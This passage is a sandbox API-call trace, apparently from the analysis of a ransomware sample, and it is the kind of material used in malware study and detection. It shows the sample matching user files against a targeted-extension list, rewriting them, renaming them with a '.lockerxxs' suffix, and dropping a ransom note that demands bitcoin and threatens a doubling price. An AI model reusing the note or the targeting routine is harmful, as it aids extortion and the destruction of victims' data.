(pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.pem") returned 0 [0090.430] lstrlenA (lpString="*.pem") returned 5 [0090.430] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.p12") returned 0 [0090.431] lstrlenA (lpString="*.p12") returned 5 [0090.431] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.gpg") returned 0 [0090.431] lstrlenA (lpString="*.gpg") returned 5 [0090.431] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.vsd") returned 0 [0090.431] lstrlenA (lpString="*.vsd") returned 5 [0090.431] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.odg") returned 0 [0090.431] lstrlenA (lpString="*.odg") returned 5 [0090.431] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.raw") returned 0 [0090.431] lstrlenA (lpString="*.raw") returned 5 [0090.431] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.nef") returned 0 [0090.431] lstrlenA (lpString="*.nef") returned 5 [0090.431] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.svg") returned 0 [0090.431] lstrlenA (lpString="*.svg") returned 5 [0090.431] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.psd") returned 0 [0090.431] lstrlenA (lpString="*.psd") returned 5 [0090.431] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.vmx") returned 0 [0090.431] lstrlenA (lpString="*.vmx") returned 5 [0090.431] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.vmdk") returned 0 [0090.431] lstrlenA (lpString="*.vmdk") returned 6 [0090.431] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.vdi") returned 0 [0090.432] lstrlenA (lpString="*.vdi") returned 5 [0090.432] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.lay6") returned 0 [0090.432] lstrlenA (lpString="*.lay6") returned 6 [0090.432] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.mpeg") returned 0 [0090.432] lstrlenA (lpString="*.mpeg") returned 6 [0090.432] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.djvu") returned 0 [0090.432] lstrlenA (lpString="*.djvu") returned 6 [0090.432] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.tiff") returned 0 [0090.432] lstrlenA (lpString="*.tiff") returned 6 [0090.432] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.backup") returned 0 [0090.432] lstrlenA (lpString="*.backup") returned 8 [0090.432] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.pdf") returned 0 [0090.432] lstrlenA (lpString="*.pdf") returned 5 [0090.432] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.cert") returned 0 [0090.432] lstrlenA (lpString="*.cert") returned 6 [0090.432] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.docm") returned 0 [0090.432] lstrlenA (lpString="*.docm") returned 6 [0090.432] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.xlsm") returned 0 [0090.432] lstrlenA (lpString="*.xlsm") returned 6 [0090.432] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.dwg") returned 0 [0090.432] lstrlenA (lpString="*.dwg") returned 5 [0090.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.nd") returned 0 [0090.433] lstrlenA (lpString="*.nd") returned 4 [0090.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.tlg") returned 0 [0090.433] lstrlenA (lpString="*.tlg") returned 5 [0090.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.lgb") returned 0 [0090.433] lstrlenA (lpString="*.lgb") returned 5 [0090.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.mov") returned 0 [0090.433] lstrlenA (lpString="*.mov") returned 5 [0090.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.xdw") returned 0 [0090.433] lstrlenA (lpString="*.xdw") returned 5 [0090.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.ods") returned 0 [0090.433] lstrlenA (lpString="*.ods") returned 5 [0090.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.wav") returned 0 [0090.433] lstrlenA (lpString="*.wav") returned 5 [0090.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.mp3") returned 0 [0090.433] lstrlenA (lpString="*.mp3") returned 5 [0090.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.aiff") returned 0 [0090.433] lstrlenA (lpString="*.aiff") returned 6 [0090.434] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.flac") returned 0 [0090.434] lstrlenA (lpString="*.flac") returned 6 [0090.434] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", pszSpec="*.m4a") returned 1 [0090.434] lstrlenA (lpString="*.m4a") returned 5 [0090.434] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a" [0090.434] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a" [0090.434] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a." [0090.434] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a.lockerxxs" [0090.434] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\sbc7u9p4jsustm4f2\\vynqux1uotnnrkv4v_.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0090.435] GetFileSize (in: hFile=0x90, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xc6b8 [0090.435] GetFileTime (in: hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x79cad3c0, dwHighDateTime=0x1d5d895), lpLastAccessTime=0x407536*(dwLowDateTime=0x32ec84b0, dwHighDateTime=0x1d5e585), lpLastWriteTime=0x40753e*(dwLowDateTime=0x32ec84b0, dwHighDateTime=0x1d5e585)) returned 1 [0090.435] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.435] ReadFile (in: hFile=0x90, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xc692, lpOverlapped=0x0) returned 1 [0090.437] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a") returned="VYnQux1UoTnNrKV4v_.m4a" [0090.437] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.437] WriteFile (in: hFile=0x90, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xc692, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xc692, lpOverlapped=0x0) returned 1 [0090.438] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0090.438] CloseHandle (hObject=0x90) returned 1 [0090.438] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\sbc7u9p4jsustm4f2\\vynqux1uotnnrkv4v_.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\VYnQux1UoTnNrKV4v_.m4a.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\sbc7u9p4jsustm4f2\\vynqux1uotnnrkv4v_.m4a.lockerxxs")) returned 1 [0090.439] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79cad3c0, ftCreationTime.dwHighDateTime=0x1d5d895, ftLastAccessTime.dwLowDateTime=0x32ec84b0, ftLastAccessTime.dwHighDateTime=0x1d5e585, ftLastWriteTime.dwLowDateTime=0x32ec84b0, ftLastWriteTime.dwHighDateTime=0x1d5e585, nFileSizeHigh=0x0, nFileSizeLow=0xc6b8, dwReserved0=0x43000340, dwReserved1=0x4e00c4, cFileName="VYnQux1UoTnNrKV4v_.m4a", cAlternateFileName="VYNQUX~1.M4A")) returned 0 [0090.439] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0090.440] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd460f780, ftCreationTime.dwHighDateTime=0x1d5e1c1, ftLastAccessTime.dwLowDateTime=0x32b52820, ftLastAccessTime.dwHighDateTime=0x1d5e621, ftLastWriteTime.dwLowDateTime=0x32b52820, ftLastWriteTime.dwHighDateTime=0x1d5e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x4ff4e8, cFileName="SmkSdLqm", cAlternateFileName="")) returned 1 [0090.440] lstrcmpA (lpString1=".", lpString2="SmkSdLqm") returned -1 [0090.440] lstrcmpA (lpString1="..", lpString2="SmkSdLqm") returned -1 [0090.440] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\*.*") returned="*.*" [0090.440] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\", lpString2="SmkSdLqm" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm" [0090.440] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm") returned 60 [0090.440] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd460f780, ftCreationTime.dwHighDateTime=0x1d5e1c1, ftLastAccessTime.dwLowDateTime=0x32b52820, ftLastAccessTime.dwHighDateTime=0x1d5e621, ftLastWriteTime.dwLowDateTime=0x32b52820, ftLastWriteTime.dwHighDateTime=0x1d5e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x22000321, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x502618 [0090.440] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0090.440] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd460f780, ftCreationTime.dwHighDateTime=0x1d5e1c1, ftLastAccessTime.dwLowDateTime=0x32b52820, ftLastAccessTime.dwHighDateTime=0x1d5e621, ftLastWriteTime.dwLowDateTime=0x32b52820, ftLastWriteTime.dwHighDateTime=0x1d5e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4e0000, cFileName="..", cAlternateFileName="")) returned 1 [0090.440] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0090.440] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0090.440] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe44f4a30, ftCreationTime.dwHighDateTime=0x1d5e74c, ftLastAccessTime.dwLowDateTime=0xf5d6ec70, ftLastAccessTime.dwHighDateTime=0x1d5e7f3, ftLastWriteTime.dwLowDateTime=0xf5d6ec70, ftLastWriteTime.dwHighDateTime=0x1d5e7f3, nFileSizeHigh=0x0, nFileSizeLow=0x39e3, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="2-mM.mp3", cAlternateFileName="")) returned 1 [0090.440] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0090.441] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="2-mM.mp3") returned 1 [0090.441] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="2-mM.mp3") returned 1 [0090.441] lstrcmpiA (lpString1="", lpString2="2-mM.mp3") returned -1 [0090.441] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\*.*") returned="*.*" [0090.441] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\" [0090.441] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\") returned="" [0090.441] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\HOW TO DECRYPT FILES.txt" [0090.441] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\smksdlqm\\how to decrypt files.txt")) returned 0xffffffff [0090.441] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\smksdlqm\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0090.449] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0090.449] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0090.450] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0090.450] CloseHandle (hObject=0x90) returned 1 [0090.450] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\", lpString2="2-mM.mp3" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3" [0090.451] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.ems") returned 0 [0090.451] lstrlenA (lpString="*.ems") returned 5 [0090.451] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.db") returned 0 [0090.451] lstrlenA (lpString="*.db") returned 4 [0090.451] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.dbf") returned 0 [0090.451] lstrlenA (lpString="*.dbf") returned 5 [0090.451] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.myox") returned 0 [0090.451] lstrlenA (lpString="*.myox") returned 6 [0090.451] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.myo") returned 0 [0090.451] lstrlenA (lpString="*.myo") returned 5 [0090.451] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.qbw") returned 0 [0090.451] lstrlenA (lpString="*.qbw") returned 5 [0090.451] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.qbb") returned 0 [0090.451] lstrlenA (lpString="*.qbb") returned 5 [0090.451] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.qbm") returned 0 [0090.451] lstrlenA (lpString="*.qbm") returned 5 [0090.451] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.qbo") returned 0 [0090.451] lstrlenA (lpString="*.qbo") returned 5 [0090.451] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.qbx") returned 0 [0090.451] lstrlenA (lpString="*.qbx") returned 5 [0090.451] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.qba") returned 0 [0090.451] lstrlenA (lpString="*.qba") returned 5 [0090.451] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.qby") returned 0 [0090.451] lstrlenA (lpString="*.qby") returned 5 [0090.451] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.qbj") returned 0 [0090.451] lstrlenA (lpString="*.qbj") returned 5 [0090.451] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.ofx") returned 0 [0090.452] lstrlenA (lpString="*.ofx") returned 5 [0090.452] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.qif") returned 0 [0090.452] lstrlenA (lpString="*.qif") returned 5 [0090.452] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.mye") returned 0 [0090.452] lstrlenA (lpString="*.mye") returned 5 [0090.452] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.mbox") returned 0 [0090.452] lstrlenA (lpString="*.mbox") returned 6 [0090.452] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.eml") returned 0 [0090.452] lstrlenA (lpString="*.eml") returned 5 [0090.452] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.pst") returned 0 [0090.452] lstrlenA (lpString="*.pst") returned 5 [0090.452] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.ost") returned 0 [0090.452] lstrlenA (lpString="*.ost") returned 5 [0090.452] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2-mM.mp3", pszSpec="*.idx") returned 0 [0090.452] 